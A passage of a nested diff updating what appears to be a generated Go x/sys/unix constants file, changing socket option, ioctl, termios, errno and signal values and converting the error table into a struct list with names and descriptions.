-+ RTC_WIE_ON = 0x2000700f
-+ RTC_WKALM_RD = 0x40287010
-+ RTC_WKALM_SET = 0x8028700f
- SCM_TIMESTAMPING = 0x23
-+ SCM_TIMESTAMPING_OPT_STATS = 0x38
-+ SCM_TIMESTAMPING_PKTINFO = 0x3c
- SCM_TIMESTAMPNS = 0x21
-+ SCM_TXTIME = 0x3f
- SCM_WIFI_STATUS = 0x25
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-+ SFD_CLOEXEC = 0x400000
-+ SFD_NONBLOCK = 0x4000
- SIOCATMARK = 0x8905
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
- SIOCGPGRP = 0x8904
-- SIOCGRARP = 0x8961
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-+ SIOCGSTAMPNS_NEW = 0x40108907
-+ SIOCGSTAMP_NEW = 0x40108906
- SIOCINQ = 0x4004667f
- SIOCOUTQ = 0x40047473
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
- SIOCSPGRP = 0x8902
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
- SOCK_CLOEXEC = 0x400000
-- SOCK_DCCP = 0x6
- SOCK_DGRAM = 0x2
- SOCK_NONBLOCK = 0x4000
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
- SOCK_STREAM = 0x1
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
- SOL_SOCKET = 0xffff
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
- SO_ACCEPTCONN = 0x8000
- SO_ATTACH_BPF = 0x34
-- SO_ATTACH_FILTER = 0x1a
- SO_ATTACH_REUSEPORT_CBPF = 0x35
- SO_ATTACH_REUSEPORT_EBPF = 0x36
- SO_BINDTODEVICE = 0xd
-+ SO_BINDTOIFINDEX = 0x41
- SO_BPF_EXTENSIONS = 0x32
- SO_BROADCAST = 0x20
- SO_BSDCOMPAT = 0x400
- SO_BUSY_POLL = 0x30
- SO_CNX_ADVICE = 0x37
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-+ SO_COOKIE = 0x3b
-+ SO_DETACH_REUSEPORT_BPF = 0x47
- SO_DOMAIN = 0x1029
- SO_DONTROUTE = 0x10
- SO_ERROR = 0x1007
-- SO_GET_FILTER = 0x1a
- SO_INCOMING_CPU = 0x33
-+ SO_INCOMING_NAPI_ID = 0x3a
- SO_KEEPALIVE = 0x8
- SO_LINGER = 0x80
- SO_LOCK_FILTER = 0x28
- SO_MARK = 0x22
- SO_MAX_PACING_RATE = 0x31
-+ SO_MEMINFO = 0x39
- SO_NOFCS = 0x27
-- SO_NO_CHECK = 0xb
- SO_OOBINLINE = 0x100
- SO_PASSCRED = 0x2
- SO_PASSSEC = 0x1f
- SO_PEEK_OFF = 0x26
- SO_PEERCRED = 0x40
-- SO_PEERNAME = 0x1c
-+ SO_PEERGROUPS = 0x3d
- SO_PEERSEC = 0x1e
-- SO_PRIORITY = 0xc
- SO_PROTOCOL = 0x1028
- SO_RCVBUF = 0x1002
- SO_RCVBUFFORCE = 0x100b
- SO_RCVLOWAT = 0x800
- SO_RCVTIMEO = 0x2000
-+ SO_RCVTIMEO_NEW = 0x44
-+ SO_RCVTIMEO_OLD = 0x2000
- SO_REUSEADDR = 0x4
- SO_REUSEPORT = 0x200
- SO_RXQ_OVFL = 0x24
-@@ -1536,50 +358,19 @@ const (
- SO_SNDBUFFORCE = 0x100a
- SO_SNDLOWAT = 0x1000
- SO_SNDTIMEO = 0x4000
-- SO_TIMESTAMP = 0x1d
-+ SO_SNDTIMEO_NEW = 0x45
-+ SO_SNDTIMEO_OLD = 0x4000
- SO_TIMESTAMPING = 0x23
-+ SO_TIMESTAMPING_NEW = 0x43
-+ SO_TIMESTAMPING_OLD = 0x23
- SO_TIMESTAMPNS = 0x21
-+ SO_TIMESTAMPNS_NEW = 0x42
-+ SO_TIMESTAMPNS_OLD = 0x21
-+ SO_TIMESTAMP_NEW = 0x46
-+ SO_TXTIME = 0x3f
- SO_TYPE = 0x1008
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
- SO_WIFI_STATUS = 0x25
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-+ SO_ZEROCOPY = 0x3e
- TAB1 = 0x800
- TAB2 = 0x1000
- TAB3 = 0x1800
-@@ -1588,54 +379,6 @@ const (
- TCGETA = 0x40125401
- TCGETS = 0x40245408
- TCGETS2 = 0x402c540c
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
- TCSAFLUSH = 0x2
- TCSBRK = 0x20005405
- TCSBRKP = 0x5425
-@@ -1656,11 +399,13 @@ const (
- TIOCGETD = 0x40047400
- TIOCGEXCL = 0x40045440
- TIOCGICOUNT = 0x545d
-+ TIOCGISO7816 = 0x40285443
- TIOCGLCKTRMIOS = 0x5456
- TIOCGPGRP = 0x40047483
- TIOCGPKT = 0x40045438
- TIOCGPTLCK = 0x40045439
- TIOCGPTN = 0x40047486
-+ TIOCGPTPEER = 0x20007489
- TIOCGRS485 = 0x40205441
- TIOCGSERIAL = 0x541e
- TIOCGSID = 0x40047485
-@@ -1677,28 +422,14 @@ const (
- TIOCM_CD = 0x40
- TIOCM_CTS = 0x20
- TIOCM_DSR = 0x100
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_LOOP = 0x8000
-- TIOCM_OUT1 = 0x2000
-- TIOCM_OUT2 = 0x4000
- TIOCM_RI = 0x80
- TIOCM_RNG = 0x80
-- TIOCM_RTS = 0x4
- TIOCM_SR = 0x10
- TIOCM_ST = 0x8
- TIOCNOTTY = 0x20007471
- TIOCNXCL = 0x2000740e
- TIOCOUTQ = 0x40047473
- TIOCPKT = 0x80047470
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
- TIOCSBRK = 0x2000747b
- TIOCSCTTY = 0x20007484
- TIOCSERCONFIG = 0x5453
-@@ -1708,9 +439,9 @@ const (
- TIOCSERGWILD = 0x5454
- TIOCSERSETMULTI = 0x545b
- TIOCSERSWILD = 0x5455
-- TIOCSER_TEMT = 0x1
- TIOCSETD = 0x80047401
- TIOCSIG = 0x80047488
-+ TIOCSISO7816 = 0xc0285444
- TIOCSLCKTRMIOS = 0x5457
- TIOCSPGRP = 0x80047482
- TIOCSPTLCK = 0x80047487
-@@ -1725,6 +456,7 @@ const (
- TOSTOP = 0x100
- TUNATTACHFILTER = 0x801054d5
- TUNDETACHFILTER = 0x801054d6
-+ TUNGETDEVNETNS = 0x200054e3
- TUNGETFEATURES = 0x400454cf
- TUNGETFILTER = 0x401054db
- TUNGETIFF = 0x400454d2
-@@ -1732,7 +464,9 @@ const (
- TUNGETVNETBE = 0x400454df
- TUNGETVNETHDRSZ = 0x400454d7
- TUNGETVNETLE = 0x400454dd
-+ TUNSETCARRIER = 0x800454e2
- TUNSETDEBUG = 0x800454c9
-+ TUNSETFILTEREBPF = 0x400454e1
- TUNSETGROUP = 0x800454ce
- TUNSETIFF = 0x800454ca
- TUNSETIFINDEX = 0x800454da
-@@ -1743,47 +477,52 @@ const (
- TUNSETPERSIST = 0x800454cb
- TUNSETQUEUE = 0x800454d9
- TUNSETSNDBUF = 0x800454d4
-+ TUNSETSTEERINGEBPF = 0x400454e0
- TUNSETTXFILTER = 0x800454d1
- TUNSETVNETBE = 0x800454de
- TUNSETVNETHDRSZ = 0x800454d8
- TUNSETVNETLE = 0x800454dc
-+ UBI_IOCATT = 0x80186f40
-+ UBI_IOCDET = 0x80046f41
-+ UBI_IOCEBCH = 0x80044f02
-+ UBI_IOCEBER = 0x80044f01
-+ UBI_IOCEBISMAP = 0x40044f05
-+ UBI_IOCEBMAP = 0x80084f03
-+ UBI_IOCEBUNMAP = 0x80044f04
-+ UBI_IOCMKVOL = 0x80986f00
-+ UBI_IOCRMVOL = 0x80046f01
-+ UBI_IOCRNVOL = 0x91106f03
-+ UBI_IOCRPEB = 0x80046f04
-+ UBI_IOCRSVOL = 0x800c6f02
-+ UBI_IOCSETVOLPROP = 0x80104f06
-+ UBI_IOCSPEB = 0x80046f05
-+ UBI_IOCVOLCRBLK = 0x80804f07
-+ UBI_IOCVOLRMBLK = 0x20004f08
-+ UBI_IOCVOLUP = 0x80084f00
- VDISCARD = 0xd
-- VDSUSP = 0xb
- VEOF = 0x4
-- VEOL = 0x5
-- VEOL2 = 0x6
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x4
-- VQUIT = 0x1
-+ VEOL = 0xb
-+ VEOL2 = 0x10
-+ VMIN = 0x6
- VREPRINT = 0xc
- VSTART = 0x8
- VSTOP = 0x9
- VSUSP = 0xa
- VSWTC = 0x7
-- VT0 = 0x0
- VT1 = 0x4000
- VTDLY = 0x4000
- VTIME = 0x5
- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-+ WDIOC_GETBOOTSTATUS = 0x40045702
-+ WDIOC_GETPRETIMEOUT = 0x40045709
-+ WDIOC_GETSTATUS = 0x40045701
-+ WDIOC_GETSUPPORT = 0x40285700
-+ WDIOC_GETTEMP = 0x40045703
-+ WDIOC_GETTIMELEFT = 0x4004570a
-+ WDIOC_GETTIMEOUT = 0x40045707
-+ WDIOC_KEEPALIVE = 0x40045705
-+ WDIOC_SETOPTIONS = 0x40045704
- WORDSIZE = 0x40
-- WRAP = 0x20000
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
- XCASE = 0x4
- XTABS = 0x1800
- __TIOCFLUSH = 0x80047410
-@@ -1791,25 +530,19 @@ const (
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x30)
- EADDRNOTAVAIL = syscall.Errno(0x31)
- EADV = syscall.Errno(0x53)
- EAFNOSUPPORT = syscall.Errno(0x2f)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x25)
- EBADE = syscall.Errno(0x66)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x5d)
- EBADMSG = syscall.Errno(0x4c)
- EBADR = syscall.Errno(0x67)
- EBADRQC = syscall.Errno(0x6a)
- EBADSLT = syscall.Errno(0x6b)
- EBFONT = syscall.Errno(0x6d)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x7f)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x5e)
- ECOMM = syscall.Errno(0x55)
- ECONNABORTED = syscall.Errno(0x35)
-@@ -1818,23 +551,15 @@ const (
- EDEADLK = syscall.Errno(0x4e)
- EDEADLOCK = syscall.Errno(0x6c)
- EDESTADDRREQ = syscall.Errno(0x27)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x58)
- EDQUOT = syscall.Errno(0x45)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x40)
- EHOSTUNREACH = syscall.Errno(0x41)
- EHWPOISON = syscall.Errno(0x87)
- EIDRM = syscall.Errno(0x4d)
- EILSEQ = syscall.Errno(0x7a)
- EINPROGRESS = syscall.Errno(0x24)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x38)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x78)
- EKEYEXPIRED = syscall.Errno(0x81)
- EKEYREJECTED = syscall.Errno(0x83)
-@@ -1851,8 +576,6 @@ const (
- ELNRNG = syscall.Errno(0x62)
- ELOOP = syscall.Errno(0x3e)
- EMEDIUMTYPE = syscall.Errno(0x7e)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x28)
- EMULTIHOP = syscall.Errno(0x57)
- ENAMETOOLONG = syscall.Errno(0x3f)
-@@ -1860,102 +583,70 @@ const (
- ENETDOWN = syscall.Errno(0x32)
- ENETRESET = syscall.Errno(0x34)
- ENETUNREACH = syscall.Errno(0x33)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x69)
- ENOBUFS = syscall.Errno(0x37)
- ENOCSI = syscall.Errno(0x64)
- ENODATA = syscall.Errno(0x6f)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0x80)
- ENOLCK = syscall.Errno(0x4f)
- ENOLINK = syscall.Errno(0x52)
- ENOMEDIUM = syscall.Errno(0x7d)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x4b)
- ENONET = syscall.Errno(0x50)
- ENOPKG = syscall.Errno(0x71)
- ENOPROTOOPT = syscall.Errno(0x2a)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x4a)
- ENOSTR = syscall.Errno(0x48)
- ENOSYS = syscall.Errno(0x5a)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x39)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x42)
- ENOTNAM = syscall.Errno(0x76)
- ENOTRECOVERABLE = syscall.Errno(0x85)
- ENOTSOCK = syscall.Errno(0x26)
- ENOTSUP = syscall.Errno(0x2d)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x73)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x2d)
- EOVERFLOW = syscall.Errno(0x5c)
- EOWNERDEAD = syscall.Errno(0x84)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x2e)
-- EPIPE = syscall.Errno(0x20)
- EPROCLIM = syscall.Errno(0x43)
- EPROTO = syscall.Errno(0x56)
- EPROTONOSUPPORT = syscall.Errno(0x2b)
- EPROTOTYPE = syscall.Errno(0x29)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x59)
- EREMOTE = syscall.Errno(0x47)
- EREMOTEIO = syscall.Errno(0x79)
- ERESTART = syscall.Errno(0x74)
- ERFKILL = syscall.Errno(0x86)
-- EROFS = syscall.Errno(0x1e)
- ERREMOTE = syscall.Errno(0x51)
- ESHUTDOWN = syscall.Errno(0x3a)
- ESOCKTNOSUPPORT = syscall.Errno(0x2c)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x54)
- ESTALE = syscall.Errno(0x46)
- ESTRPIPE = syscall.Errno(0x5b)
- ETIME = syscall.Errno(0x49)
- ETIMEDOUT = syscall.Errno(0x3c)
- ETOOMANYREFS = syscall.Errno(0x3b)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x75)
- EUNATCH = syscall.Errno(0x63)
- EUSERS = syscall.Errno(0x44)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x68)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0xa)
- SIGCHLD = syscall.Signal(0x14)
- SIGCLD = syscall.Signal(0x14)
- SIGCONT = syscall.Signal(0x13)
- SIGEMT = syscall.Signal(0x7)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x17)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
- SIGLOST = syscall.Signal(0x1d)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x17)
- SIGPROF = syscall.Signal(0x1b)
- SIGPWR = syscall.Signal(0x1d)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTOP = syscall.Signal(0x11)
- SIGSYS = syscall.Signal(0xc)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x12)
- SIGTTIN = syscall.Signal(0x15)
- SIGTTOU = syscall.Signal(0x16)
-@@ -1969,174 +660,182 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol",
-- 48: "address already in use",
-- 49: "cannot assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "transport endpoint is already connected",
-- 57: "transport endpoint is not connected",
-- 58: "cannot send after transport endpoint shutdown",
-- 59: "too many references: cannot splice",
-- 60: "connection timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disk quota exceeded",
-- 70: "stale file handle",
-- 71: "object is remote",
-- 72: "device not a stream",
-- 73: "timer expired",
-- 74: "out of streams resources",
-- 75: "no message of desired type",
-- 76: "bad message",
-- 77: "identifier removed",
-- 78: "resource deadlock avoided",
-- 79: "no locks available",
-- 80: "machine is not on the network",
-- 81: "unknown error 81",
-- 82: "link has been severed",
-- 83: "advertise error",
-- 84: "srmount error",
-- 85: "communication error on send",
-- 86: "protocol error",
-- 87: "multihop attempted",
-- 88: "RFS specific error",
-- 89: "remote address changed",
-- 90: "function not implemented",
-- 91: "streams pipe error",
-- 92: "value too large for defined data type",
-- 93: "file descriptor in bad state",
-- 94: "channel number out of range",
-- 95: "level 2 not synchronized",
-- 96: "level 3 halted",
-- 97: "level 3 reset",
-- 98: "link number out of range",
-- 99: "protocol driver not attached",
-- 100: "no CSI structure available",
-- 101: "level 2 halted",
-- 102: "invalid exchange",
-- 103: "invalid request descriptor",
-- 104: "exchange full",
-- 105: "no anode",
-- 106: "invalid request code",
-- 107: "invalid slot",
-- 108: "file locking deadlock error",
-- 109: "bad font file format",
-- 110: "cannot exec a shared library directly",
-- 111: "no data available",
-- 112: "accessing a corrupted shared library",
-- 113: "package not installed",
-- 114: "can not access a needed shared library",
-- 115: "name not unique on network",
-- 116: "interrupted system call should be restarted",
-- 117: "structure needs cleaning",
-- 118: "not a XENIX named type file",
-- 119: "no XENIX semaphores available",
-- 120: "is a named type file",
-- 121: "remote I/O error",
-- 122: "invalid or incomplete multibyte or wide character",
-- 123: "attempting to link in too many shared libraries",
-- 124: ".lib section in a.out corrupted",
-- 125: "no medium found",
-- 126: "wrong medium type",
-- 127: "operation canceled",
-- 128: "required key not available",
-- 129: "key has expired",
-- 130: "key has been revoked",
-- 131: "key was rejected by service",
-- 132: "owner died",
-- 133: "state not recoverable",
-- 134: "operation not possible due to RF-kill",
-- 135: "memory page has hardware error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
